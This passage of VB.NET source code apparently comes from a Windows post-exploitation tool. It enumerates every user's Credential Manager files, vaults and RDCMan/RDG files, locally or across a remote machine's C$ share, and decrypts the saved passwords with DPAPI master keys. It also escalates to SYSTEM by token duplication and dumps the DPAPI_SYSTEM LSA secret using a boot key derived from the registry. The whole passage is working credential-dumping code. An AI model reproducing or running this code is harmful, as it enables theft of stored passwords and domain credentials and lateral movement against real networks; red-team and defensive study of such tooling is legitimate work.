Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
End Try
End If
Next
Next
Else
Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM masterkeys!" & vbCrLf)
End If
Return mappings
End Function
Public Shared Sub TriageUserCreds(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
If Not String.IsNullOrEmpty(computerName) Then
Dim canAccess As Boolean = Helpers.TestRemote(computerName)
If Not canAccess Then
Return
End If
End If
If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
Console.WriteLine("[*] Triaging Credentials for ALL users" & vbCrLf)
Dim userFolder As String = ""
If Not String.IsNullOrEmpty(computerName) Then
userFolder = String.Format("\\{0}\C$\Users\", computerName)
Else
userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
End If
Dim dirs As String() = Directory.GetDirectories(userFolder)
For Each dir As String In dirs
Dim parts As String() = dir.Split("\"c)
Dim userName As String = parts(parts.Length - 1)
If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", dir)
TriageCredFolder(userCredFilePath, MasterKeys)
Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", dir)
TriageCredFolder(userCredFilePath2, MasterKeys)
End If
Next
Else
Console.WriteLine("[*] Triaging Credentials for current user" & vbCrLf)
Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
TriageCredFolder(userCredFilePath, MasterKeys)
Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
TriageCredFolder(userCredFilePath2, MasterKeys)
End If
End Sub
Public Shared Sub TriageUserVaults(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
If Not String.IsNullOrEmpty(computerName) Then
Dim canAccess As Boolean = Helpers.TestRemote(computerName)
If Not canAccess Then
Return
End If
End If
If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
Console.WriteLine("[*] Triaging Vaults for ALL users" & vbCrLf)
Dim userFolder As String = ""
If Not String.IsNullOrEmpty(computerName) Then
userFolder = String.Format("\\{0}\C$\Users\", computerName)
Else
userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
End If
Dim dirs As String() = Directory.GetDirectories(userFolder)
For Each dir As String In dirs
Dim parts As String() = dir.Split("\"c)
Dim userName As String = parts(parts.Length - 1)
If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
Dim folderLocations As String() = {String.Format("{0}\AppData\Local\Microsoft\Vault\", dir), String.Format("{0}\AppData\Roaming\Microsoft\Vault\", dir)}
For Each location As String In folderLocations
If Directory.Exists(location) Then
Dim vaultDirs As String() = Directory.GetDirectories(location)
For Each vaultDir As String In vaultDirs
If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
TriageVaultFolder(vaultDir, MasterKeys)
End If
Next
End If
Next
End If
Next
Else
Console.WriteLine("[*] Triaging Vaults for the current user" & vbCrLf)
Dim vaultPath As String = String.Format("{0}\AppData\Local\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
If Directory.Exists(vaultPath) Then
Dim vaultDirs As String() = Directory.GetDirectories(vaultPath)
For Each vaultDir As String In vaultDirs
If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
TriageVaultFolder(vaultDir, MasterKeys)
End If
Next
End If
Dim vaultPath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
If Directory.Exists(vaultPath2) Then
Dim vaultDirs As String() = Directory.GetDirectories(vaultPath2)
For Each vaultDir As String In vaultDirs
If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
TriageVaultFolder(vaultDir, MasterKeys)
End If
Next
End If
End If
End Sub
Public Shared Sub TriageSystemCreds(ByVal MasterKeys As Dictionary(Of String, String))
If Helpers.IsHighIntegrity() Then
Console.WriteLine(vbCrLf & "[*] Triaging System Credentials" & vbCrLf)
Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot"))}
For Each location As String In folderLocations
TriageCredFolder(location, MasterKeys)
Next
Else
Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM credentials!" & vbCrLf)
End If
End Sub
Public Shared Sub TriageSystemVaults(ByVal MasterKeys As Dictionary(Of String, String))
If Helpers.IsHighIntegrity() Then
Console.WriteLine(vbCrLf & "[*] Triaging SYSTEM Vaults" & vbCrLf)
Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot"))}
For Each location As String In folderLocations
If Directory.Exists(location) Then
Dim vaultDirs As String() = Directory.GetDirectories(location)
For Each vaultDir As String In vaultDirs
If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
TriageVaultFolder(vaultDir, MasterKeys)
End If
Next
End If
Next
Else
Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM vaults!" & vbCrLf)
End If
End Sub
Public Shared Sub TriageVaultFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
Dim policyFilePath As String = String.Format("{0}\Policy.vpol", folder)
If File.Exists(policyFilePath) Then
Console.WriteLine(vbCrLf & "[*] Triaging Vault folder: {0}", folder)
Dim policyBytes As Byte() = File.ReadAllBytes(policyFilePath)
Dim keys As ArrayList = DPAPI.DescribePolicy(policyBytes, MasterKeys)
If keys.Count > 0 Then
Dim vaultCredFiles As String() = Directory.GetFiles(folder)
If (vaultCredFiles IsNot Nothing) AndAlso (vaultCredFiles.Length <> 0) Then
For Each vaultCredFile As String In vaultCredFiles
Dim fileName As String = System.IO.Path.GetFileName(vaultCredFile)
If fileName.EndsWith("vcrd") Then
Dim vaultCredBytes As Byte() = File.ReadAllBytes(vaultCredFile)
Try
DPAPI.DescribeVaultCred(vaultCredBytes, keys)
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message)
End Try
End If
Next
End If
End If
End If
End Sub
Public Shared Sub TriageCredFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
If System.IO.Directory.Exists(folder) Then
Dim systemFiles As String() = Directory.GetFiles(folder)
If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then
Console.WriteLine(vbCrLf & "Folder : {0}" & vbCrLf, folder)
For Each file As String In systemFiles
Try
TriageCredFile(file, MasterKeys)
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
End Try
Next
Else
End If
Else
End If
End Sub
Public Shared Sub TriageCredFile(ByVal credFilePath As String, ByVal MasterKeys As Dictionary(Of String, String))
Dim fileName As String = System.IO.Path.GetFileName(credFilePath)
Console.WriteLine(" CredFile : {0}" & vbCrLf, fileName)
Dim credentialArray As Byte() = File.ReadAllBytes(credFilePath)
Try
DPAPI.DescribeCredential(credentialArray, MasterKeys)
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", credFilePath, e.Message)
End Try
Console.WriteLine()
End Sub
Public Shared Sub TriageRDCMan(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "", ByVal Optional unprotect As Boolean = False)
If Not String.IsNullOrEmpty(computerName) Then
Dim canAccess As Boolean = Helpers.TestRemote(computerName)
If Not canAccess Then
Return
End If
End If
If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
Console.WriteLine("[*] Triaging RDCMan.settings Files for ALL users" & vbCrLf)
Dim userFolder As String = ""
If Not String.IsNullOrEmpty(computerName) Then
userFolder = String.Format("\\{0}\C$\Users\", computerName)
Else
userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
End If
Dim dirs As String() = Directory.GetDirectories(userFolder)
For Each dir As String In dirs
Dim parts As String() = dir.Split("\"c)
Dim userName As String = parts(parts.Length - 1)
If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", dir)
TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
End If
Next
Else
Console.WriteLine("[*] Triaging RDCMan Settings Files for current user" & vbCrLf)
Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"))
TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
End If
End Sub
Public Shared Sub TriageRDCManFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdcManFile As String, ByVal Optional unprotect As Boolean = False)
If System.IO.File.Exists(rdcManFile) Then
Dim lastAccessed As DateTime = System.IO.File.GetLastAccessTime(rdcManFile)
Dim lastModified As DateTime = System.IO.File.GetLastWriteTime(rdcManFile)
Dim xmlDoc As XmlDocument = New XmlDocument()
xmlDoc.Load(rdcManFile)
Console.WriteLine(" RDCManFile : {0}", rdcManFile)
Console.WriteLine(" Accessed : {0}", lastAccessed)
Console.WriteLine(" Modified : {0}", lastModified)
Dim recentlyUsed As XmlNodeList = xmlDoc.GetElementsByTagName("recentlyUsed")
If recentlyUsed(0)("server") IsNot Nothing Then
Dim recentlyUsedServer As String = recentlyUsed(0)("server").InnerText
Console.WriteLine(" Recent Server : {0}", recentlyUsedServer)
End If
Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")
If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then
Console.WriteLine(vbCrLf & " Cred Profiles")
End If
For Each credProfileNode As XmlNode In credProfileNodes
Console.WriteLine()
DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
Next
Dim logonCredNodes As XmlNodeList = xmlDoc.GetElementsByTagName("logonCredentials")
If (logonCredNodes IsNot Nothing) AndAlso (logonCredNodes.Count <> 0) Then
Console.WriteLine(vbCrLf & " Default Logon Credentials")
End If
For Each logonCredNode As XmlNode In logonCredNodes
Console.WriteLine()
DisplayCredProfile(MasterKeys, logonCredNode, unprotect)
Next
Dim filesToOpen As XmlNodeList = xmlDoc.GetElementsByTagName("FilesToOpen")
Dim items As XmlNodeList = filesToOpen(0).ChildNodes
For Each rdgFile As XmlNode In items
If Interop.PathIsUNC(rdcManFile) Then
If Not Interop.PathIsUNC(rdgFile.InnerText) Then
Dim computerName As String = rdcManFile.Split({"\"c}, StringSplitOptions.RemoveEmptyEntries)(0)
Dim rdgUncPath As String = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText)
TriageRDGFile(MasterKeys, rdgUncPath, unprotect)
Else
TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
End If
Else
TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
End If
Next
Console.WriteLine()
Else
End If
End Sub
Public Shared Sub DisplayCredProfile(ByVal MasterKeys As Dictionary(Of String, String), ByVal credProfileNode As XmlNode, ByVal Optional unprotect As Boolean = False)
Dim profileName As String = credProfileNode("profileName").InnerText
If credProfileNode("userName") Is Nothing Then
Console.WriteLine(" Cred Profile : {0}", profileName)
Else
Dim userName As String = credProfileNode("userName").InnerText.Trim()
Dim domain As String = credProfileNode("domain").InnerText.Trim()
Dim b64Password As String = credProfileNode("password").InnerText
Dim password As String = ""
Dim fullUserName As String = ""
If String.IsNullOrEmpty(domain) Then
fullUserName = userName
Else
fullUserName = String.Format("{0}\{1}", domain, userName)
End If
Console.WriteLine(" Profile Name : {0}", profileName)
Console.WriteLine(" UserName : {0}", fullUserName)
Dim passwordDPAPIbytes As Byte() = Convert.FromBase64String(b64Password)
If passwordDPAPIbytes.Length > 0 Then
Dim decBytesRaw As Byte() = DPAPI.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect)
If decBytesRaw.Length <> 0 Then
Dim finalIndex As Integer = Array.LastIndexOf(decBytesRaw, CByte(0))
If finalIndex > 1 Then
Dim decBytes As Byte() = New Byte(finalIndex + 1 - 1) {}
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex)
password = Encoding.Unicode.GetString(decBytes)
Else
password = Encoding.ASCII.GetString(decBytesRaw)
End If
End If
Console.WriteLine(" Password : {0}", password)
End If
End If
End Sub
Public Shared Sub TriageRDGFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdgFilePath As String, ByVal Optional unprotect As Boolean = False)
If System.IO.File.Exists(rdgFilePath) Then
Console.WriteLine(vbCrLf & " {0}", rdgFilePath)
Dim xmlDoc As XmlDocument = New XmlDocument()
xmlDoc.Load(rdgFilePath)
Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")
If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then
Console.WriteLine(vbCrLf & " Cred Profiles")
End If
For Each credProfileNode As XmlNode In credProfileNodes
Console.WriteLine()
DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
Next
Dim servers As XmlNodeList = xmlDoc.GetElementsByTagName("server")
If (servers IsNot Nothing) AndAlso (servers.Count <> 0) Then
Console.WriteLine(vbCrLf & " Servers")
End If
For Each server As XmlNode In servers
Try
If (server("properties")("name") IsNot Nothing) Then
If server("properties")("displayName") IsNot Nothing Then
Console.WriteLine(vbCrLf & " Name : {0} ({1})", server("properties")("name").InnerText, server("properties")("displayName").InnerText)
Else
Console.WriteLine(vbCrLf & " Name : {0}", server("properties")("name").InnerText)
End If
If server("logonCredentials") IsNot Nothing Then
DisplayCredProfile(MasterKeys, server("logonCredentials"), unprotect)
End If
End If
Catch e As Exception
Console.WriteLine("Exception: {0}", e)
End Try
Next
Else
Console.WriteLine(vbCrLf & " [X] .RDG file '{0}' is not accessible or doesn't exist!", rdgFilePath)
End If
End Sub
Public Shared Sub TriageRDGFolder(ByVal MasterKeys As Dictionary(Of String, String), ByVal folder As String, ByVal unprotect As Boolean)
If System.IO.Directory.Exists(folder) Then
Dim systemFiles As String() = Directory.GetFiles(folder)
If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then
Console.WriteLine(vbCrLf & "Folder : {0}" & vbCrLf, folder)
For Each file As String In systemFiles
If file.EndsWith(".rdg") Then
Try
TriageRDGFile(MasterKeys, file, unprotect)
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
End Try
End If
Next
Else
End If
Else
End If
End Sub
End Class
Public Class LSADump
Public Shared Function GetDPAPIKeys(ByVal Optional show As Boolean = False) As List(Of Byte())
Dim dpapiKeys = New List(Of Byte())
Dim dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM")
Dim dpapiKeyMachine = New Byte(19) {}
Dim dpapiKeyUser = New Byte(19) {}
Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20)
Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20)
dpapiKeys.Add(dpapiKeyMachine)
dpapiKeys.Add(dpapiKeyUser)
If show Then
Console.WriteLine("[*] Secret : DPAPI_SYSTEM")
Console.WriteLine("[*] full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", ""))
Console.WriteLine("[*] m/u : {0} / {1}" & vbCrLf, BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", ""))
Console.WriteLine("[*] full: {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyFull).Replace("-", "")), Base64FormattingOptions.None))
Console.WriteLine("[*] m/u : {0} / {1}" & vbCrLf, Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyMachine).Replace("-", "")), Base64FormattingOptions.None), Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyUser).Replace("-", "")), Base64FormattingOptions.None))
End If
Return dpapiKeys
End Function
Public Shared Function GetLSASecret(ByVal secretName As String) As Byte()
Dim alreadySystem = False
If Not Helpers.IsHighIntegrity Then
Console.WriteLine("[X] You need to be in high integrity to extract LSA secrets!")
Return Nothing
Else
Dim currentName As String = Principal.WindowsIdentity.GetCurrent.Name
If currentName Is "NT AUTHORITY\SYSTEM" Then
alreadySystem = True
Else
Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval")
Helpers.GetSystem()
End If
End If
Dim LSAKey = GetLSAKey()
Dim keyPath = String.Format("SECURITY\Policy\Secrets\{0}\CurrVal", secretName)
Dim keyData As Byte() = Helpers.GetRegKeyValue(keyPath)
Dim keyEncryptedData = New Byte(keyData.Length - 28 - 1) {}
Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length)
Dim keyEncryptedDataEncryptedKey = New Byte(31) {}
Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32)
Dim tmpKey As Byte() = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey)
Dim keyEncryptedDataRemainder = New Byte(keyEncryptedData.Length - 32 - 1) {}
Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length)
Dim IV = New Byte(15) {}
Dim keyPathPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder)
If Not alreadySystem Then
Console.WriteLine("[*] RevertToSelf()" & vbCrLf)
Interop.RevertToSelf()
End If
If secretName.Equals("DPAPI_SYSTEM") Then
Dim secret = New Byte(39) {}
Array.Copy(keyPathPlaintext, 20, secret, 0, 40)
Return secret
Else
Console.WriteLine("[X] LSA Secret '{0}' not yet implemented!", secretName)
Return Nothing
End If
End Function
Public Shared Function GetLSAKey() As Byte()
Dim bootkey = GetBootKey()
Dim LSAKeyEncryptedStruct As Byte() = Helpers.GetRegKeyValue("SECURITY\Policy\PolEKList")
Dim LSAEncryptedData = New Byte(LSAKeyEncryptedStruct.Length - 28 - 1) {}
Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length)
Dim LSAEncryptedDataEncryptedKey = New Byte(31) {}
Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32)
Dim tmpKey As Byte() = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey)
Dim LSAEncryptedDataRemainder = New Byte(LSAEncryptedData.Length - 32 - 1) {}
Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length)
Dim IV = New Byte(15) {}
Dim LSAKeyStructPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder)
Dim LSAKey = New Byte(31) {}
Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32)
Return LSAKey
End Function
Public Shared Function GetBootKey() As Byte()
Dim scrambledKey = New StringBuilder
For Each key In New String() {"JD", "Skew1", "GBG", "Data"}
Dim keyPath = String.Format("SYSTEM\CurrentControlSet\Control\Lsa\{0}", key)
Dim classVal = New StringBuilder(1024)
Dim len = 1024
Dim result = 0
Dim hKey = IntPtr.Zero
Dim dummy = IntPtr.Zero
result = Interop.RegOpenKeyEx(&H80000002UL, keyPath, 0, &H19, hKey)
If result <> 0 Then
Dim [error] = Marshal.GetLastWin32Error
Dim errorMessage As String = New Win32Exception([error]).Message
Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
Return Nothing
End If
result = Interop.RegQueryInfoKey(hKey, classVal, len, 0, dummy, dummy, dummy, dummy, dummy, dummy, dummy, IntPtr.Zero)
If result <> 0 Then
Dim [error] = Marshal.GetLastWin32Error
Dim errorMessage As String = New Win32Exception([error]).Message
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
Return Nothing
End If
Interop.RegCloseKey(hKey)
scrambledKey.Append(classVal)
Next
Dim skey As Byte() = Helpers.StringToByteArray(scrambledKey.ToString)
Dim descramble = New Byte() {&H8, &H5, &H4, &H2, &HB, &H9, &HD, &H3, &H0, &H6, &H1, &HC, &HE, &HA, &HF, &H7}
Dim bootkey = New Byte(15) {}
For i = 0 To bootkey.Length - 1
bootkey(i) = skey(descramble(i))
Next
Return bootkey
End Function
End Class
